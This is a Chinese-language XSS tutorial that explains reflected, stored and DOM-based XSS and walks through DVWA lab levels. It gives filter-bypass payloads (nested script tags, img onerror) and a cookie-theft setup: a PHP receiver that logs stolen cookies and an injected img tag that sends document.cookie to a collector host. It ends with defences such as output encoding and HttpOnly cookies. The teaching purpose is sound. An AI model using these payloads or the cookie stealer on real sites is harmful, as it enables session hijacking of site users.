XSS漏洞概述

xiaoxiao2021-03-01  73

XSS漏洞概述 XSS漏洞概述 跨站脚本(Cross Site Scripting)攻击,一直是非常热门的WEB漏洞,在OWASP的TOP10里面排前三 没有对web前端的输入边界进行严格的过滤是XSS漏洞形成的主要原因。 攻击着可以通过构造脚本语句使得输入的内容被当作HTML的一部分来执行,当用户访问到该页面 时,就会触发该恶意脚本,从而获取用户的敏感数据(比如cookie数据)。 XSS漏洞发生在web前端,主要对网站用户造成危害,并不会直接危害服务器后台数据。 XSS漏洞概述-XSS漏洞攻击流程 XSS漏洞概述-XSS类型  反射型XSS(Reflected XSS) 通过XSS漏洞改造带有攻击脚本的URL,发送URL给目标,触发恶意脚本,一次性,所见即所得 一般出现在查询类页面等。  存储型XSS (Stored XSS) 通过XSS漏洞将带恶意脚本注入到服务器后台(数据库或者文件中),访问到该页面触发恶意脚本,永久性 一般出现在留言板等。  DOM型XSS (DOM-based XSS) DOM(Document Objeet Model)—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM) 的一种漏洞,它是通过修改页面的DOM节点而形成的。 Dom xss也是一种反射性。 反射型和存储型的区分是脚本是否保存在服务器上,而DOM-xss是通过修改页面的DOM节点来形成的XSS。 XSS漏洞-测试过程 ① 在目标站点上找到输入点,比如查询接口,留言板等; ② 输入一个“唯一”字符,点击提交后,查看当前状态下的源码文件; ③ 通过搜索定位到唯一字符,结合唯一字符前后语法构造script,并合理的对HTML标签进行闭合; ④ 提交构造的script,看是否可以成功执行,如果成功执行则说明存在XSS漏洞; TIPS: 1.一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS; 2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器); 3.通过变化不同的script,尝试绕过后台过滤机制; 4.最快的发现XSS漏洞的方法还是通过web漏洞扫描工具,如Nesuss, AWVS,Appscan等; 用dvwa作例子,先设置低级别测试反射性XSS

输入111返回结果 查看代码

在pre标签中

先用<script>alert("xss")</script> 测试 在低级别下测试成功,分析一下这个xss源代码 在这里是没有作任何过滤的。 接下来在中级别下进行测试,一样的输入<script>alert("xss")</script> 猜想这里可能存在过滤script的语句,那么构造一个 <scr<script>ipt>alert("xss222")</scr<script>ipt> 测试成功,接下来分析下代码 发现使用了一个php中的str_replace函数,对name传入的值进行<script>匹配然后替换成空格 也就是' '  接下来对高级别的进行测试 输入 <scr<script>ipt> alert("xss222")</scr <script> ipt>测试 发现只剩下> 这里猜测可能跟script有关的内容全被过滤掉了 这个时候不能使用script,所以我们尝试闭合pre直接用img   <img src=111 οnerrοr=alert("xss333")> 输入 11</pre><img src=111 οnerrοr=alert("xss333")><pre>111 测试 测试成功,下面继续分析代码 这里发现 执行了一个正则的搜搜,一旦匹配,则干掉。 接下来是dom型XSS 首先什么是DOM? DOM是W3C的标准,可以把DOM认为是页面上数据和结构的一个树形表示: 通过 JavaScript,可以重构整个 HTML 文 档。您可以添加、移除、改变或重排页面 上的项目。 要改变页面的某个东西,JavaScript 就需 要获得对 HTML 文档中所有元素进行访问 的入口。这个入口,连同对 HTML 元素进 行添加、移动、改变或移除的方法和属性, 都是通过文档对象模型来获得的(DOM)。 所以,你可以把DOM理解为一个一个访问 HTML的标准编程接口。 Dom访问演示:使用getElementById来访问和修改html <!DOCTYPE html> <html> <body> <p id="intro">Hello World!</p> <p>本例演示 <b>getElementById</b> 方法!</p> <script> x=document.getElementById("intro"); document.write("<p>来自 intro 段落的文本:" + x.innerHTML + "</p>"); </script> </body> </html> Hello World! 本例演示 getElementById 方法! 来自 intro 段落的文本:Hello World! 下面是演示代码 DOM XSS漏洞代码: <html> <body> <script> function xsstest(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='+str+'>testlink</a>"; } </script> <div id="t"></div> <input type="text" id="text" value="" /> <input type="button" value="write" οnclick="xsstest()"> </body> </html> 存储型XSS ,现在用dvwa进行测试,先使用低级别 过滤方面来说其实跟反射性的差不多,只是这个存储型是长期存在的(不被管理员发现) 先上图 发现 name行限制输入10个字,message行不限制,猜想name行限制10个字符是通过前端 实现,那么这个时候直接打开查看元素功能修改限制实现绕过。 修改成1000,确保足够位置输入 在name行输入<script>alert('xss1')</script>测试 message任意输入 成功执行。这样代码保留在后代,如果用户访问到这里,或者用户点击这类链接,那么就中招了。 下面分析下代码 这里发现对message执行了一个stripslasnes函数,就是对 ‘/’进行清除,阻止恶意代码。 下面对中级别进行测试, 一样的用刚刚代码试试 发现失败了, <script>可能被清楚了,接下要接着 <scr<script>ipt> alert("xss3")</scr <script> ipt>测试 测试成功,分析下代码把。 对message 进行了严格过滤,输入进来的执行 strip_tags函数,意思把输入进来的html标签剥去 对输出的message执行htmlspecialchars函数,意思是把html函数当作字符串输出 所以这里不对message进行xss , name的话支队script标签进行一个替换,所以可以用来xss 下面对高级别进行测试 用刚刚的代码测试会发现全被过滤了,可能是跟script有关的代码全被过滤了,因为在div标签不用闭合 直接尝试<img src=111 οnerrοr=alert("xss333")> 测试成功,下面分下下代码。 跟上面一样,只对script有关的进行过滤,所以还是可以进行xss。 通过XSS获取COOKIE-获取 接受端: <?php $cookie = $_GET['cookie']; //以GET方式获取cookie变量值 $time=date('Y-m-d g:i:s'); //以“年-月-日时:分:秒”的格式显示时间 $referer=getenv('HTTP_REFERER'); //获取referer $cookietxt = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它 fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer); //写入文件 fclose($cookietxt); //关闭文件 ?> 脚本端: <script>document.write('<img src=" http://192.168.0.8/xss/index.php?cookie='+document.cookie+'" ; width=0 height=0 border=0 />');</script> XSS防范措施 1.对前端输入做过滤和编码; ---比如之允许输入指定类型的字符,比如电话号格式,注册用户名限制等等,输入检查需要在服 务器端完成,在前端完成的限制是容易被绕过的; ---对特殊字符进行过滤和转义; 2.对输出做过滤和编码:在变量值输出到前端的HTML时进行编码或转义; 3. 给关键的cookie使用http-only;    
转载请注明原文地址: https://www.6miu.com/read-3579532.html

最新回复(0)